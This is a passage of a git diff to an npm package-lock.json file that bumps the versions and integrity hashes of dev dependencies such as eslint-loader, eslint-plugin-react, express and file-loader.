"sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=", + "dev": true, + "requires": { + "chalk": "1.1.3", + "esutils": "2.0.2", + "js-tokens": "3.0.2" + }, + "dependencies": { + "chalk": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", + "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", + "dev": true, + "requires": { + "ansi-styles": "2.2.1", + "escape-string-regexp": "1.0.5", + "has-ansi": "2.0.0", + "strip-ansi": "3.0.1", + "supports-color": "2.0.0" + } + }, + "strip-ansi": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", + "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", + "dev": true, + "requires": { + "ansi-regex": "2.1.1" + } + } + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.4.0" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "1.9.0" + } + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "3.0.0" + } + } + } + }, + "cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "dev": true, + "requires": { + "nice-try": "1.0.4", + "path-key": "2.0.1", + "semver": "5.5.0", + "shebang-command": "1.2.0", + "which": "1.3.0" + } + }, + "debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + }, + "eslint-scope": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-4.0.0.tgz", + "integrity": "sha512-1G6UTDi7Jc1ELFwnR58HV4fK9OQK4S6N985f166xqXxpjU6plxFISJa2Ba9KCQuFa8RCnj/lSFJbHo7UFDBnUA==", + "dev": true, + "requires": { + "esrecurse": "4.2.1", + "estraverse": "4.2.0" + } + }, + "esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true + }, + "globals": { + "version": "11.7.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.7.0.tgz", + "integrity": "sha512-K8BNSPySfeShBQXsahYB/AbbWruVOTyVpgoIDnl8odPpeSfP2J5QO2oLFFdl2j7GfDCtZj2bMKar2T49itTPCg==", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "js-yaml": { + "version": "3.12.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.12.0.tgz", + "integrity": "sha512-PIt2cnwmPfL4hKNwqeiuz4bKfnzHTBv6HyVgjahA6mPLwPDzjDWrplJBMjHUFxku/N3FlmrbyPclad+I+4mJ3A==", + "dev": true, + "requires": { + "argparse": "1.0.9", + "esprima": "4.0.1" + } + }, + "lodash": { + "version": "4.17.10", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", + "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", + "dev": true + }, + "progress": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.0.tgz", + "integrity": "sha1-ihvjZr+Pwj2yvSPxDG/pILQ4nR8=", + "dev": true + }, + "semver": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.0.tgz", + "integrity": "sha512-4SJ3dm0WAwWy/NVeioZh5AntkdJoWKxHxcmyP622fOkgHa4z3R0TdBJICINyaSDE6uNwVc8gZr+ZinwZAH4xIA==", + "dev": true + }, + "strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", + "dev": true, + "requires": { + "ansi-regex": "3.0.0" + }, + "dependencies": { + "ansi-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", + "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", + "dev": true + } + } + } } }, "eslint-loader": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/eslint-loader/-/eslint-loader-1.9.0.tgz", - "integrity": "sha512-40aN976qSNPyb9ejTqjEthZITpls1SVKtwguahmH1dzGCwQU/vySE+xX33VZmD8csU0ahVNCtFlsPgKqRBiqgg==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/eslint-loader/-/eslint-loader-2.1.0.tgz", + "integrity": "sha512-f4A/Yk7qF+HcFSz5Tck2QoKIwJVHlX0soJk5MkROYahb5uvspad5Ba60rrz4u/V2/MEj1dtp/uBi6LlLWVaY7Q==", "dev": true, "requires": { "loader-fs-cache": "1.0.1", "loader-utils": "1.1.0", "object-assign": "4.1.1", - "object-hash": "1.1.8", + "object-hash": "1.3.0", "rimraf": "2.6.2" }, "dependencies": { @@ -2875,44 +4360,48 @@ } }, "eslint-plugin-react": { - "version": "6.10.3", - "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-6.10.3.tgz", - "integrity": "sha1-xUNb6wZ3ThLH2y9qut3L+QDNP3g=", + "version": "7.11.1", + "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.11.1.tgz", + "integrity": "sha512-cVVyMadRyW7qsIUh3FHp3u6QHNhOgVrLQYdQEB1bPWBsgbNCHdFAeNMquBMCcZJu59eNthX053L70l7gRt4SCw==", "dev": true, "requires": { - "array.prototype.find": "2.0.4", - "doctrine": "1.5.0", - "has": "1.0.1", - "jsx-ast-utils": "1.4.1", - "object.assign": "4.0.4" - }, - "dependencies": { - "doctrine": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-1.5.0.tgz", - "integrity": "sha1-N53Ocw9hZvds76TmcHoVmwLFpvo=", - "dev": true, - "requires": { - "esutils": "2.0.2", - "isarray": "1.0.0" - } - }, - "isarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", - "dev": true - } + "array-includes": "3.0.3", + "doctrine": "2.1.0", + "has": "1.0.3", + "jsx-ast-utils": "2.0.1", + "prop-types": "15.6.2" } }, - "espree": { - "version": "3.5.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-3.5.0.tgz", - "integrity": "sha1-mDWGJb3QVYYeon4oZ+pyn69GPY0=", + "eslint-scope": { + "version": "3.7.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-3.7.1.tgz", + "integrity": "sha1-PWPD7f2gLgbgGkUq2IyqzHzctug=", "dev": true, "requires": { - "acorn": "5.1.1", - "acorn-jsx": "3.0.1" + "esrecurse": "4.2.1", + "estraverse": "4.2.0" + } + }, + "eslint-utils": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-1.3.1.tgz", + "integrity": "sha512-Z7YjnIldX+2XMcjr7ZkgEsOj/bREONV60qYeB/bjMAqqqZ4zxKyWX+BOUkdmRmA9riiIPVvo5x86m5elviOk0Q==", + "dev": true + }, + "eslint-visitor-keys": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.0.0.tgz", + "integrity": "sha512-qzm/XxIbxm/FHyH341ZrbnMUpe+5Bocte9xkmFMzPMjRaZMcXww+MpBptFvtU+79L362nqiLhekCxCxDPaUMBQ==", + "dev": true + }, + "espree": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/espree/-/espree-4.0.0.tgz", + "integrity": "sha512-kapdTCt1bjmspxStVKX6huolXVV5ZfyZguY1lcfhVVZstce3bqxH9mcLzNn3/mlgW6wQ732+0fuG9v7h0ZQoKg==", + "dev": true, + "requires": { + "acorn": "5.7.1", + "acorn-jsx": "4.1.1" } }, "esprima": { @@ -2922,22 +4411,21 @@ "dev": true }, "esquery": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.0.0.tgz", - "integrity": "sha1-z7qLV9f7qT8XKYqKAGoEzaE9gPo=", + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.0.1.tgz", + "integrity": "sha512-SmiyZ5zIWH9VM+SRUReLS5Q8a7GxtRdxEBVZpm98rJM7Sb+A9DVCndXfkeFUd3byderg+EbDkfnevfCwynWaNA==", "dev": true, "requires": { "estraverse": "4.2.0" } }, "esrecurse": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.2.0.tgz", - "integrity": "sha1-+pVo2Y04I/mkHZHpAtyrnqblsWM=", + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.2.1.tgz", + "integrity": "sha512-64RBB++fIOAXPw3P9cy89qfMlvZEXZkqqJkjqqXIvzP5ezRZjW+lPWjw35UX/3EhUPFYbg5ER4JYgDw4007/DQ==", "dev": true, "requires": { - "estraverse": "4.2.0", - "object-assign": "4.1.1" + "estraverse": "4.2.0" } }, "estraverse": { @@ -2953,25 +4441,15 @@ "dev": true }, "etag": { - "version": "1.8.0", - "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.0.tgz", - "integrity": "sha1-b2Ma7zNtbEY2K1F2QETOIWvjwFE=", + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=", "dev": true }, - "event-emitter": { - "version": "0.3.5", - "resolved": "https://registry.npmjs.org/event-emitter/-/event-emitter-0.3.5.tgz", - "integrity": "sha1-34xp7vFkeSPHFXuc6DhAYQsCzDk=", - "dev": true, - "requires": { - "d": "1.0.0", - "es5-ext": "0.10.26" - } - }, "eventemitter3": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-1.2.0.tgz", - "integrity": "sha1-HIaZHYFq0eUEdQ5zh0Ik7PO+xQg=", + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-3.1.0.tgz", + "integrity": "sha512-ivIvhpq/Y0uSjcHDcOIccjmYjGLcP09MFGE7ysAwkAvkXfpZlC985pH2/ui64DKazbTW/4kN3yqozUxlXzI6cA==", "dev": true }, "events": { @@ -2986,14 +4464,33 @@ "integrity": "sha1-Cs7ehJ7X3RzMMsgRuxG5RNTykjI=", "dev": true, "requires": { - "original": "1.0.0" + "original": "1.0.2" } }, - "exit-hook": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/exit-hook/-/exit-hook-1.1.1.tgz", - "integrity": "sha1-8FyiM7SMBdVP/wd2XfhQfpXAL/g=", - "dev": true + "evp_bytestokey": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/evp_bytestokey/-/evp_bytestokey-1.0.3.tgz", + "integrity": "sha512-/f2Go4TognH/KvCISP7OUsHn85hT9nUkxxA9BEWxFn+Oj9o8ZNLm/40hdlgSLyuOimsrTKLUMEorQexp/aPQeA==", + "dev": true, + "requires": { + "md5.js": "1.3.4", + "safe-buffer": "5.1.1" + } + }, + "execa": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-0.7.0.tgz", + "integrity": "sha1-lEvs00zEHuMqY6n68nrVpl/Fl3c=", + "dev": true, + "requires": { + "cross-spawn": "5.1.0", + "get-stream": "3.0.0", + "is-stream": "1.1.0", + "npm-run-path": "2.0.2", + "p-finally": "1.0.0", + "signal-exit": "3.0.2", + "strip-eof": "1.0.0" + } }, "expand-braces": { "version": "0.1.2", @@ -3044,6 +4541,7 @@ "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-0.1.5.tgz", "integrity": "sha1-3wcoTjQqgHzXM6xa9yQR5YHRF3s=", "dev": true, + "optional": true, "requires": { "is-posix-bracket": "0.1.1" } @@ -3053,50 +4551,151 @@ "resolved": "https://registry.npmjs.org/expand-range/-/expand-range-1.8.2.tgz", "integrity": "sha1-opnv/TNf4nIeuujiV+x5ZE/IUzc=", "dev": true, + "optional": true, "requires": { "fill-range": "2.2.3" } }, "express": { - "version": "4.15.4", - "resolved": "https://registry.npmjs.org/express/-/express-4.15.4.tgz", - "integrity": "sha1-Ay4iU0ic+PzgJma+yj0R7XotrtE=", + "version": "4.16.3", + "resolved": "https://registry.npmjs.org/express/-/express-4.16.3.tgz", + "integrity": "sha1-avilAjUNsyRuzEvs9rWjTSL37VM=", "dev": true, "requires": { - "accepts": "1.3.3", + "accepts": "1.3.5", "array-flatten": "1.1.1", + "body-parser": "1.18.2", "content-disposition": "0.5.2", - "content-type": "1.0.2", + "content-type": "1.0.4", "cookie": "0.3.1", "cookie-signature": "1.0.6", - "debug": "2.6.8", - "depd": "1.1.1", - "encodeurl": "1.0.1", + "debug": "2.6.9", + "depd": "1.1.2", + "encodeurl": "1.0.2", "escape-html": "1.0.3", - "etag": "1.8.0", - "finalhandler": "1.0.4", - "fresh": "0.5.0", + "etag": "1.8.1", + "finalhandler": "1.1.1", + "fresh": "0.5.2", "merge-descriptors": "1.0.1", "methods": "1.1.2", "on-finished": "2.3.0", - "parseurl": "1.3.1", + "parseurl": "1.3.2", "path-to-regexp": "0.1.7", - "proxy-addr": "1.1.5", - "qs": "6.5.0", + "proxy-addr": "2.0.4", + "qs": "6.5.1", "range-parser": "1.2.0", - "send": "0.15.4", - "serve-static": "1.12.4", - "setprototypeof": "1.0.3", - "statuses": "1.3.1", - "type-is": "1.6.15", - "utils-merge": "1.0.0", - "vary": "1.1.1" + "safe-buffer": "5.1.1", + "send": "0.16.2", + "serve-static": "1.13.2", + "setprototypeof": "1.1.0", + "statuses": "1.4.0", + "type-is": "1.6.16", + "utils-merge": "1.0.1", + "vary": "1.1.2" }, "dependencies": { + "array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=", + "dev": true + }, + "body-parser": { + "version": "1.18.2", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.18.2.tgz", + "integrity": "sha1-h2eKGdhLR9hZuDGZvVm84iKxBFQ=", + "dev": true, + "requires": { + "bytes": "3.0.0", + "content-type": "1.0.4", + "debug": "2.6.9", + "depd": "1.1.2", + "http-errors": "1.6.3", + "iconv-lite": "0.4.19", + "on-finished": "2.3.0", + "qs": "6.5.1", + "raw-body": "2.3.2", + "type-is": "1.6.16" + } + }, + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + }, + "finalhandler": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.1.tgz", + "integrity": "sha512-Y1GUDo39ez4aHAw7MysnUD5JzYX+WaIj8I57kO3aEPT1fFRL4sr7mjei97FgnwhAyyzRYmQZaTHb2+9uZ1dPtg==", + "dev": true, + "requires": { + "debug": "2.6.9", + "encodeurl": "1.0.2", + "escape-html": "1.0.3", + "on-finished": "2.3.0", + "parseurl": "1.3.2", + "statuses": "1.4.0", + "unpipe": "1.0.0" + } + }, + "iconv-lite": { + "version": "0.4.19", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.19.tgz", + "integrity": "sha512-oTZqweIP51xaGPI4uPa56/Pri/480R+mo7SeU+YETByQNhDG55ycFyNLIgta9vXhILrxXDmF7ZGhqZIcuN0gJQ==", + "dev": true + }, "qs": { - "version": "6.5.0", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.0.tgz", - "integrity": "sha512-fjVFjW9yhqMhVGwRExCXLhJKrLlkYSaxNWdyc9rmHlrVZbk35YHH312dFd7191uQeXkI3mKLZTIbSvIeFwFemg==", + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.1.tgz", + "integrity": "sha512-eRzhrN1WSINYCDCbrz796z37LOe3m5tmW7RQf6oBntukAG1nmovJvhnwHHRMAfeoItc1m2Hk02WER2aQ/iqs+A==", + "dev": true + }, + "raw-body": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.3.2.tgz", + "integrity": "sha1-vNYMd9Prk83gBQKVw/N5OJvIj4k=", + "dev": true, + "requires": { + "bytes": "3.0.0", + "http-errors": "1.6.2", + "iconv-lite": "0.4.19", + "unpipe": "1.0.0" + }, + "dependencies": { + "depd": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.1.tgz", + "integrity": "sha1-V4O04cRZ8G+lyif5kfPQbnoxA1k=", + "dev": true + }, + "http-errors": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.2.tgz", + "integrity": "sha1-CgAsyFcHGSp+eUbO7cERVfYOxzY=", + "dev": true, + "requires": { + "depd": "1.1.1", + "inherits": "2.0.3", + "setprototypeof": "1.0.3", + "statuses": "1.4.0" + } + }, + "setprototypeof": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.0.3.tgz", + "integrity": "sha1-ZlZ+NwQ+608E2RvWWMDL77VbjgQ=", + "dev": true + } + } + }, + "statuses": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.4.0.tgz", + "integrity": "sha512-zhSCtt8v2NDrRlPQpCNtw/heZLtfUDqxBM1udqikb/Hbk52LK4nQSwr10u77iopCW5LsyHpuXS0GnEc48mLeew==", "dev": true } } @@ -3107,11 +4706,44 @@ "integrity": "sha1-p1Xqe8Gt/MWjHOfnYtuq3F5jZEQ=", "dev": true }, + "extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", + "dev": true, + "requires": { + "assign-symbols": "1.0.0", + "is-extendable": "1.0.1" + }, + "dependencies": { + "is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "requires": { + "is-plain-object": "2.0.4" + } + } + } + }, + "external-editor": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-2.2.0.tgz", + "integrity": "sha512-bSn6gvGxKt+b7+6TKEv1ZycHleA7aHhRHyAqJyp5pbUFuYYNIzpZnQDk7AsYckyWdEnTeAnay0aCy2aV6iTk9A==", + "dev": true, + "requires": { + "chardet": "0.4.2", + "iconv-lite": "0.4.18", + "tmp": "0.0.33" + } + }, "extglob": { "version": "0.3.2", "resolved": "https://registry.npmjs.org/extglob/-/extglob-0.3.2.tgz", "integrity": "sha1-Lhj/PS9JqydlzskCPwEdqo2DSaE=", "dev": true, + "optional": true, "requires": { "is-extglob": "1.0.0" } @@ -3163,14 +4795,12 @@ "fast-deep-equal": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-1.1.0.tgz", - "integrity": "sha1-wFNHeBfIa1HaqFPIHgWbcz0CNhQ=", - "dev": true + "integrity": "sha1-wFNHeBfIa1HaqFPIHgWbcz0CNhQ=" }, "fast-json-stable-stringify": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.0.0.tgz", - "integrity": "sha1-1RQsDK7msRifh9OnYREGT4bIu/I=", - "dev": true + "integrity": "sha1-1RQsDK7msRifh9OnYREGT4bIu/I=" }, "fast-levenshtein": { "version": "2.0.6", @@ -3190,13 +4820,13 @@ "integrity": "sha1-TkkvjQTftviQA1B/btvy1QHnxvQ=", "dev": true, "requires": { - "websocket-driver": "0.6.5" + "websocket-driver": "0.7.0" } }, "fbjs": { - "version": "0.8.16", - "resolved": "https://registry.npmjs.org/fbjs/-/fbjs-0.8.16.tgz", - "integrity": "sha1-XmdDL1UNxBtXK/VYR7ispk5TN9s=", + "version": "0.8.17", + "resolved": "https://registry.npmjs.org/fbjs/-/fbjs-0.8.17.tgz", + "integrity": "sha1-xNWY6taUkRJlPWWIsBpc3Nn5D90=", "requires": { "core-js": "1.2.7", "isomorphic-fetch": "2.2.1", @@ -3204,7 +4834,7 @@ "object-assign": "4.1.1", "promise": "7.3.1", "setimmediate": "1.0.5", - "ua-parser-js": "0.7.17" + "ua-parser-js": "0.7.18" }, "dependencies": { "core-js": { @@ -3233,13 +4863,12 @@ } }, "figures": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/figures/-/figures-1.7.0.tgz", - "integrity": "sha1-y+Hjr/zxzUS4DK3+0o3Hk6lwHS4=", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/figures/-/figures-2.0.0.tgz", + "integrity": "sha1-OrGi0qYsi/tDGgyUy3l6L84nyWI=", "dev": true, "requires": { - "escape-string-regexp": "1.0.5", - "object-assign": "4.1.1" + "escape-string-regexp": "1.0.5" } }, "file-entry-cache": { @@ -3248,30 +4877,46 @@ "integrity": "sha1-w5KZDD5oR4PYOLjISkXYoEhFg2E=", "dev": true, "requires": { - "flat-cache": "1.2.2", + "flat-cache": "1.3.0", "object-assign": "4.1.1" } }, "file-loader": { - "version": "0.9.0", - "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-0.9.0.tgz", - "integrity": "sha1-HS2t3UJM5tGwfP4/eXMb7TYXq0I=", + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-1.1.11.tgz", + "integrity": "sha512-TGR4HU7HUsGg6GCOPJnFk06RhWgEWFLAGWiT6rcD+GRC2keU3s9RGJ+b3Z6/U73jwwNb2gKLJ7YCrp+jvU4ALg==", "dev": true, "requires": { - "loader-utils": "0.2.17" + "loader-utils": "1.1.0", + "schema-utils": "0.4.7" + }, + "dependencies": { + "loader-utils": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.1.0.tgz", + "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", + "dev": true, + "requires": { + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" + } + } } }, "filename-regex": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/filename-regex/-/filename-regex-2.0.1.tgz", "integrity": "sha1-wcS5vuPglyXdsQa3XB4wH+LxiyY=", - "dev": true + "dev": true, + "optional": true }, "fill-range": { "version": "2.2.3", "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-2.2.3.tgz", "integrity": "sha1-ULd9/X5Gm8dJJHCWNpn+eoSFpyM=", "dev": true, + "optional": true, "requires": { "is-number": "2.1.0", "isobject": "2.1.0", @@ -3281,29 +4926,46 @@ } }, "finalhandler": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.0.4.tgz", - "integrity": "sha512-16l/r8RgzlXKmFOhZpHBztvye+lAhC5SU7hXavnerC9UfZqZxxXl3BzL8MhffPT3kF61lj9Oav2LKEzh0ei7tg==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.0.tgz", + "integrity": "sha1-zgtoVbRYU+eRsvzGgARtiCU91/U=", "dev": true, "requires": { - "debug": "2.6.8", - "encodeurl": "1.0.1", + "debug": "2.6.9", + "encodeurl": "1.0.2", "escape-html": "1.0.3", "on-finished": "2.3.0", - "parseurl": "1.3.1", + "parseurl": "1.3.2", "statuses": "1.3.1", "unpipe": "1.0.0" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + }, + "statuses": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.3.1.tgz", + "integrity": "sha1-+vUbnrdKrvOzrPStX2Gr8ky3uT4=", + "dev": true + } } }, "find-cache-dir": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-0.1.1.tgz", - "integrity": "sha1-yN765XyKUqinhPnjHFfHQumToLk=", + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-1.0.0.tgz", + "integrity": "sha1-kojj6ePMN0hxfTnq3hfPcfww7m8=", "dev": true, "requires": { "commondir": "1.0.1", - "mkdirp": "0.5.1", - "pkg-dir": "1.0.0" + "make-dir": "1.3.0", + "pkg-dir": "2.0.0" } }, "find-up": { @@ -3317,9 +4979,9 @@ } }, "flat-cache": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-1.2.2.tgz", - "integrity": "sha1-+oZxTnLCHbiGAXYezy9VXRq8a5Y=", + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-1.3.0.tgz", + "integrity": "sha1-0wMLMrOBVPTjt+nHCfSQ9++XxIE=", "dev": true, "requires": { "circular-json": "0.3.3", @@ -3328,11 +4990,73 @@ "write": "0.2.1" } }, - "flatten": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/flatten/-/flatten-1.0.2.tgz", - "integrity": "sha1-2uRqnXj74lKSJYzB54CkHZXAN4I=", - "dev": true + "flush-write-stream": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/flush-write-stream/-/flush-write-stream-1.0.3.tgz", + "integrity": "sha512-calZMC10u0FMUqoiunI2AiGIIUtUIvifNwkHhNupZH4cbNnW1Itkoh/Nf5HFYmDrwWPjrUxpkZT0KhuCq0jmGw==", + "dev": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.6" + }, + "dependencies": { + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true + }, + "process-nextick-args": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "dev": true + }, + "readable-stream": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", + "dev": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "5.1.1" + } + } + } + }, + "follow-redirects": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.5.5.tgz", + "integrity": 